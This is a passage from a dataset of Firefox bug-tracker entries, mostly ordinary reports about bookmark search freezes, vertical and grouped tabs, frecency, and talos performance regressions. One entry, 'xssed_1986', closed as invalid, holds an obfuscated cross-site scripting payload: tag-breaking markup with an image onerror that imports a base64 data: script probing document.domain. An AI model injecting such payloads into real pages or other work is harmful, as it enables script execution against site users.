av9ash/GitBugs huggingface dataset:
Bug: Slow and freezing when searching in the Bookmark Organizer in Firefox 135.x
Status: UNCONFIRMED
Priority: --
Created: 2025-02-21 08:56:01+00:00
Resolved: 2025-03-03 16:38:40+00:00

Steps to reproduce:

Updated Firefox from version 134.0.2 to 135.0.


Actual results:

I am experiencing slowness when searching in the Bookmark Organizer. (CTRL+SHIFT+O) For example, if I type “quake” in the Bookmark Organizer to find bookmarks with “quake” in the name or tag, Firefox freezes for 15 seconds before the search results appear. Prior to this issue, the search results were instantaneous when I typed the search term.

I'm pretty sure this issue started with the update to version 135.0. I didn't have this issue up until version 134.0.2, but as soon as I updated to 135.0, it started happening. I was hoping that 135.0.1 would fix it, but it didn't.

I tried many things, including disabling all add-ons and reinstalling 135.0, but nothing worked.

The only solution was to reinstall 134.0.2, which was the version before 135.0 came out. I copied the places.sqlite file I was using and then searched for my bookmarks in the Bookmark Organizer and they came up immediately, just like before.

I have 121,767 Firefox bookmarks and my places.sqlite file is 145MB (152,043,520 bytes) in size.

My PC specs: (I tested on both PCs)
1. AMD Ryzen 7 7800x3D / DDR5 32GB / WD SN850X 2TB / Windows 11 Home 24H2 (26100.3194)
2. AMD Ryzen 7 5700x3D / DDR4 48GB / SAMSUNG 1TB / Windows 11 Home 22H2 (22621.4317)


Expected results:

Firefox should stop freezing for about 15 seconds when searching in the Bookmark Organizer (CTRL+SHIFT+O) in versions 135.0 and 135.0.1. (I'm going back to 134.0.2 until the issue is resolved).
Bug: Remove "Turn on/off Vertical Tabs" in the toolbar button context menus (except for sidebar button)
Status: RESOLVED
Priority: P1
Resolution: FIXED
Created: 2025-02-21 13:27:15+00:00
Resolved: 2025-03-05 13:05:32+00:00

The intention by Yulia was to only add this menu item to the sidebar toolbar button, not to all toolbar buttons menu.
Bug: Frecency is not incremented for viewtime interaction on multiple tabs for the same website on recalculation
Status: RESOLVED
Priority: P2
Resolution: FIXED
Created: 2025-02-21 15:04:00+00:00
Resolved: 2025-03-05 12:21:48+00:00

**Found in**
* Fx 137.0a1

**Affected versions**
* Fx 137.0a1

**Affected platforms**
* Windows
* Ubuntu
* macOS

**Precondintions**
places.frecency.pages.alternative.interactions.viewTimeSeconds set to 10
places.frecency.pages.alternative.interactions.viewTimeIfManyKeypressesSeconds set to 10
places.frecency.pages.alternative.interactions.manyKeypresses set to 5

**Steps to reproduce**
1. Launch Firefox, navigate to any website and keep it in the foreground for 10 seconds.
2. Open a new tab, navigate to the db query page, "Frecency" section and click the "recalc outdated frecencies" button.
3. Close the tab from step 1.
4. Open a new tab and navigate to the same website as in step 1 and keep it in the foreground for at least 10 seconds.
5. Go back to the db query page and click the "recalc outdated frecencies" button.

**Expected result**
* Alt Frecency value is increased only after re-calculation.

**Actual result**
* Alt Frecency value is increased when the website is opened again in step 4.

**Regression range**
* Not a regression.

**Additional notes**
* Please note that in the provided video recording the website was already opened 3 times and the bug happened on the 4th calculation.
Bug: Vertical spacing for tab groups should be the same as tabs
Status: RESOLVED
Priority: P2
Resolution: FIXED
Created: 2025-02-21 15:17:00+00:00
Resolved: 2025-03-05 13:05:14+00:00

**Steps to reproduce [can add screenshots or video recordings for reference]:**
Open several tabs and create a tab group

**Expected behavior [What should have happened?]:**
Tab groups and tabs should be equally spaced

**Actual behavior [What actually happened?]:**

There's more space above and below a tab group than there is compared to vertical tabs. It should match the spacing of vertical tabs
Bug: Backgrounded tabs aren't suggested by smart tab groups suggest feature when restoring session
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2025-02-21 15:59:19+00:00
Resolved: 2025-03-04 21:16:49+00:00

To test (easier with ./mach run):
1. Open a couple of tabs that are similar to one another
2. Try the suggest feature to check that some are being selected by the suggest flow (don't save them to a group at this time)
3. Terminate the browser process from the terminal
4. Run the browser again and click on "restore session"
5. Try the suggest flow again from the previous anchor tab and notice that the previously suggested tabs aren't suggested anymore.
6. Click on the background tabs and go through the flow again with the previous anchor tab. Notice that the tabs are now suggested.
Bug: Content analysis warn response cancels timeout for other parts
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2025-02-21 17:05:46+00:00
Resolved: 2025-03-03 17:36:04+00:00

Bug 1949390 cancelled timeout when we get a warn response -- but it cancels timeout for the entire user action.  So if another part of the user action takes longer than the timeout period, it will not timeout.  Instead of the way it was done, it should *not* cancel the timer but, instead, check if there are outstanding requests when the timer goes off (vs. all requests either have responses or are showing WARN dialogs).  The way to make that determination is in flux (bug 1949166) but it would happen [here](https://searchfox.org/mozilla-central/rev/f9f9b422f685244dcd3f6826b70d34a496ce5853/toolkit/components/contentanalysis/ContentAnalysis.cpp#2282-2291).
Bug: Toolbar button icon does not match expanded state after switching tab direction
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2025-02-21 17:27:56+00:00
Resolved: 2025-02-21 19:37:03+00:00

**Steps to Reproduce**
1. Set the following prefs in about:config.

```properties
sidebar.revamp = true
sidebar.verticalTabs = false
sidebar.visibility = hide-sidebar
```

2. Restart the browser.
3. From about:preferences, switch to Vertical tabs.
4. Inspect the toolbar icon.

**Expected Result**
Sidebar is expanded. Toolbar button is showing the expanded icon.

**Actual Result**
Sidebar is expanded, but toolbar button is *not* showing the collapsed icon.

Icons attached for reference, since the difference is kind of subtle.
Bug: When dragging a tab to second monitor, it does not pop up in front.
Status: UNCONFIRMED
Priority: --
Created: 2025-02-22 00:47:07+00:00
Resolved: 2025-03-04 15:53:39+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Steps to reproduce:

1. Have an application open on the second monitor
2. Start a new tab on the main monitor
3. Drag the tab over to the second monitor


Actual results:

The dragged tab will not be in the foreground. It is full-screened behind an already open application on my second monitor.


Expected results:

The dragged tab should pop up in the very front.
Bug: Slow and jumpy scrolling of vertical tabs on an older device
Status: UNCONFIRMED
Priority: --
Created: 2025-02-22 14:06:11+00:00
Resolved: 2025-03-04 15:50:45+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0

Steps to reproduce:

sidebar.revamp and sidebar.verticalTabs are set in the config,
on my old and slow laptop scrolling tabs in the sidebar

I use hyprland (wayland), arch, and a touch pad to scroll (although it does the same thing with the mouse)


Actual results:

the scrolling is very jittery, and very slow.

In the attached video, I am scrolling the same amount, and with the same speed on the web page and the sidebar. 

No such issues with horizontal tabs


Expected results:

Smooth scrolling
Bug: Unable to select multiple search results in History sidebar
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2025-02-23 09:13:09+00:00
Resolved: 2025-02-23 14:02:28+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Steps to reproduce:

1. Show the History sidebar.
2. Perform any search in it that returns more than one result.
3. Right-click on any result found to move focus to the results list.
4. Press Ctrl + A or press Shift + Arrow Up / Down or or press Shift + Home / End.

~ "Unable to select/delete multiple history/bookmark items in sidebar", #260367


Actual results:

Nothing.


Expected results:

Several results are highlighted that can be opened, copied or deleted.
Bug: Created .url shortcuts have an invalid favicon path for the Windows Store version
Status: UNCONFIRMED
Priority: --
Created: 2025-02-23 11:09:42+00:00
Resolved: 2025-02-26 23:23:49+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Steps to reproduce:

Create a new .url shortcut by dragging a website to the desktop. (Windows store version of Firefox)


Actual results:

No favicon is displayed. The generated .url file point to a not existing path.


Expected results:

The correct path to the favicon cache dir should be applied in the .url file.
Bug: evaluate how to better harmonize key modifiers in browser an content (Cmd+Enter in MacOS address bar canonizes, Alt+Enter opens in new tab)
Status: NEW
Priority: P3
Created: 2025-02-23 11:28:58+00:00
Resolved: 2025-03-05 10:19:54+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0

Steps to reproduce:

Bug 1945422 changed the behaviour of Cmd+Enter on macOS. When pressing Cmd+Enter in the address bar, Firefox used to open the URL or search query in a new tab. Now it opens it in the current tab.

Option/Alt+Enter still works, but (warning: anecdata) I specifically untrained myself from using Option/Alt+Enter because of consistency: pressing Cmd while clicking a link with the mouse opens that link in a new tab. Pressing Option/Alt while clicking a link saves the linked page to disk, so it made sense to learn that “Cmd+something” == “new tab” while “Alt+something” == “save”. I’m guessing this is not enough of an argument for changing the behaviour back, though. Would be interesting to see data on using Cmd+Enter to “auto-www-dot-com” a string versus opening a URL in a new tab, if such data are available.

STR:
1) Focus the address bar. The current URL is fine.
2) Press Cmd+Enter.


Actual results:

→ URL gets loaded in current tab.


Expected results:

→ URL should open in a new tab.
Bug: (Shift+)RMB on a tab/window preview of an open FF window in windows taskbar is not opening the context menu any longer (win 10x64enterprise fully updated, FF 135.0.1 (64-Bit))
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2025-02-23 13:58:32+00:00
Resolved: 2025-02-25 22:24:27+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Steps to reproduce:

open FF 
mouseover the icon in the taskbar
move the cursor over the previewed window and open the context menu (RMB or shift+RMB i dont remember rn >_<)





Actual results:

nuthin


Expected results:

*rightclick on the preview tab -> should open a context menu (resize/move ... etc)
Bug: xssed_1986
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2025-02-23 16:32:42+00:00
Resolved: 2025-02-24 02:10:47+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Firefox for Android

Steps to reproduce:

</base</sTyle/</scRIpt/</textArea/</noScript/</tiTle/-->＜h1/<h1><image/onerror="import('data:application/javascript;charset=utf-8;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKTtjb25zb2xlLmxvZyhkb2N1bWVudC5kb21haW4pOy8v')//%27"src><script>


Actual results:

</base</sTyle/</scRIpt/</textArea/</noScript/</tiTle/-->＜h1/<h1><image/onerror="import('data:application/javascript;charset=utf-8;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKTtjb25zb2xlLmxvZyhkb2N1bWVudC5kb21haW4pOy8v')//%27"src><script>


Expected results:

</base</sTyle/</scRIpt/</textArea/</noScript/</tiTle/-->＜h1/<h1><image/onerror="import('data:application/javascript;charset=utf-8;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKTtjb25zb2xlLmxvZyhkb2N1bWVudC5kb21haW4pOy8v')//%27"src><script>
Bug: Firefox Developer Edition unresponsive, macOS 12.7.4
Status: UNCONFIRMED
Priority: --
Created: 2025-02-23 21:24:30+00:00
Resolved: 2025-02-28 18:56:52+00:00

Steps to reproduce:

macOS 12.7.4 Firefox Developer Edition stopped responding


Actual results:

Sudden change in functionality


Expected results:

All windows are unresponsive, or are not viewable and accessible
Bug: Translate does not meet the options chosen
Status: NEW
Priority: --
Created: 2025-02-24 12:37:15+00:00
Resolved: 2025-03-03 20:02:21+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0

Steps to reproduce:

I'm trying to use the translation functions:
- automatic translation proposal is enabled
- machine translation of pages into English, I ticked it, yet the activated option status (the small v) is not visible.


Actual results:

Well, nothing:
- no proposal
- no automatic translation of texts into English


Expected results:

Well, I should have had a window that would suggest translation or have my pages into English automatically translated.
Bug: With Vertical Tabs enabled, dragging a pinned tab results in that tab dropping down below the pinned area.
Status: RESOLVED
Priority: P1
Resolution: FIXED
Created: 2025-02-24 14:29:45+00:00
Resolved: 2025-03-05 13:13:16+00:00

STR (in Nightly 137.0a1 (2025-02-24)) from a new profile:

* Set `sidebar.verticalTabs` to `true`
* Create 3 tabs
* Pin the first two
* Drag the right hand one to the left slightly and let go.

What happens:

* The tab drops down below the pinned area.

What should happen

* The pinned tab should stay within the pinned tabs area.
Bug: Links to anchor on next page do not scroll down until refreshing / hitting enter in the address bar
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2025-02-24 14:30:14+00:00
Resolved: 2025-03-03 13:25:48+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Steps to reproduce:

Windows10 laptop (firefox version 135.0.1 64-bits), I click on a local link on a website.


Actual results:

 It goes not to the appropiate spot on the website but only to the top of the page.
Happens to all the websites




Expected results:

Only after refreshing the page it goes to there. 
See: click on the link Home on https://bongerdje.deds.nl/rest/20221023x-01.htm 
It goes tot the top of the webpage instead of to the middle.
Bug: Can't read anything, font doesn't change based on new tab wallpaper.
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2025-02-24 15:38:28+00:00
Resolved: 2025-03-01 20:32:12+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0

Steps to reproduce:

Open a new tab with a dark wallpaper whilst my desktop is on light mode.


Actual results:

The font of pinned itens and recent activity is black, so is the gear icon on the botton right corner, making the contrast terrible and the text unreadable.


Expected results:

The font should be colored white for major contrast and accessibility.
Bug: Tabs closed as part of a deleted tab group cannot have their history entries forgotten (in Firefox View or elsewhere)
Status: RESOLVED
Priority: P2
Resolution: FIXED
Created: 2025-02-24 15:46:18+00:00
Resolved: 2025-03-05 13:12:45+00:00

STR:
1. Open some non-`about:blank` tabs. Add these tabs to a group.
2. Right click the tab group label and click "Delete group".
3. Open Firefox View. The tabs closed as part of the group should be visible.
4. On the right hand side of the entry for one of the closed tabs, click the "X" (remove the tab from history). 

Expected result:
- The tab disappears from Firefox View and related history menus.

Actual result:
- Nothing happens.

Notes:
This error appears in console on click: `JavaScript error: resource:///modules/sessionstore/SessionStore.sys.mjs, line 4509: NS_ERROR_ILLEGAL_VALUE: Invalid closedId: not found in the closed tabs of any window`
Bug: 22.68 - 6.29% tart / tart + 3 more (OSX, Windows) regression on Tue February 18 2025
Status: RESOLVED
Priority: P1
Resolution: FIXED
Created: 2025-02-24 15:52:25+00:00
Resolved: 2025-03-05 10:07:53+00:00

Perfherder has detected a talos performance regression from push [6143c13b1e80492f5badeb415c57e887362dbc63](https://hg.mozilla.org/integration/autoland/pushloghtml?changeset=6143c13b1e80492f5badeb415c57e887362dbc63). As author of one of the patches included in that push, we need your help to address this regression.

### Regressions:

| **Ratio** | **Test** | **Platform** | **Options** | **Absolute values (old vs new)** |  
|--|--|--|--|--| 
| [23%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,86450,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender | 1.77 -> 2.17 | 
| [22%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,86450,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender | 1.77 -> 2.16 | 
| [21%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,109827,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender-sw | 1.74 -> 2.11 | 
| [7%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,299543,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | macosx1470-64-shippable | e10s fission stylo webrender-sw | 1.85 -> 1.97 | 
| [6%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,301088,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | macosx1470-64-shippable | e10s fission stylo webrender | 1.94 -> 2.06 | 


Details of the alert can be found in the [alert summary](https://treeherder.mozilla.org/perfherder/alerts?id=44066), including links to graphs and comparisons for each of the affected tests. Please follow our [guide to handling regression bugs](https://wiki.mozilla.org/TestEngineering/Performance/Handling_regression_bugs) and **let us know your plans within 3 business days, or the patch(es) may be backed out** in accordance with our [regression policy](https://www.mozilla.org/en-US/about/governance/policies/regressions/).

If you need the profiling jobs you can trigger them yourself from treeherder job view or ask a sheriff to do that for you.

You can run all of these tests on try with `./mach try perf --alert 44066`

The following [documentation link](https://firefox-source-docs.mozilla.org/testing/perfdocs/mach-try-perf.html#running-alert-tests) provides more information about this command.

For more information on performance sheriffing please see our [FAQ](https://wiki.mozilla.org/TestEngineering/Performance/FAQ).

If you have any questions, please do not hesitate to reach out to fbilt@mozilla.com.
Bug: 22.68 - 6.29% tart / tart + 3 more (OSX, Windows) regression on Tue February 18 2025
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2025-02-24 15:53:08+00:00
Resolved: 2025-03-05 14:58:57+00:00

Perfherder has detected a talos performance regression from push [6143c13b1e80492f5badeb415c57e887362dbc63](https://hg.mozilla.org/integration/autoland/pushloghtml?changeset=6143c13b1e80492f5badeb415c57e887362dbc63). As author of one of the patches included in that push, we need your help to address this regression.

### Regressions:

| **Ratio** | **Test** | **Platform** | **Options** | **Absolute values (old vs new)** |  
|--|--|--|--|--| 
| [23%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,86450,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender | 1.77 -> 2.17 | 
| [22%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,86450,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender | 1.77 -> 2.16 | 
| [21%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,109827,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | windows11-64-shippable-qr | e10s fission stylo webrender-sw | 1.74 -> 2.11 | 
| [7%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,299543,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | macosx1470-64-shippable | e10s fission stylo webrender-sw | 1.85 -> 1.97 | 
| [6%](https://treeherder.mozilla.org/perfherder/graphs?timerange=1209600&series=autoland,301088,1,1)  | [tart](https://firefox-source-docs.mozilla.org/testing/perfdocs/talos.html#tart)  | macosx1470-64-shippable | e10s fission stylo webrender | 1.94 -> 2.06 | 


Details of the alert can be found in the [alert summary](https://treeherder.mozilla.org/perfherder/alerts?id=44066), including links to graphs and comparisons for each of the affected tests. Please follow our [guide to handling regression bugs](https://wiki.mozilla.org/TestEngineering/Performance/Handling_regression_bugs) and **let us know your plans within 3 business days, or the patch(es) may be backed out** in accordance with our [regression policy](https://www.mozilla.org/en-US/about/governance/policies/regressions/).

If you need the profiling jobs you can trigger them yourself from treeherder job view or ask a sheriff to do that for you.

You can run all of these tests on try with `./mach try perf --alert 44066`

The following [documentation link](https://firefox-source-docs.mozilla.org/testing/perfdocs/mach-try-perf.html#running-alert-tests) provides more information about this command.

For more information on performance sheriffing please see our [FAQ](https://wiki.mozilla.org/TestEngineering/Performance/FAQ).

If you have any questions, please do not hesitate to reach out to fbilt@mozilla.com.
Bug: [Regression] Firefox window borders are glitched on start when using Classic theme
Status: UNCONFIRMED
Priority: --
Created: 2025-02-24 16:38:43+00:00
Resolved: 2025-03-04 20:31:06+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Steps to reproduce:

Launch Firefox when Classic theme (or absense of themes) is enabled systemwide on a Windows machine.

OS version: Windows 11 23H2 (build 10.0.22631.3593)
Firefox version: 136.0b9


Actual results:

When Firefox is launched, parts of it's window's frames and titlebar appear white. This differs from time to time, sometimes only titlebar buttons are white, sometiles the whole titlebar and window frame. The glitch goes away upon window resize and does not appear again with a given window.

Disabling the hardware acceleration in the Firefox settings does not affect this issue. The issue has been observed by multiple users.

This is a regression from Firefox 129.


Expected results:

Correct rendering of the window frame.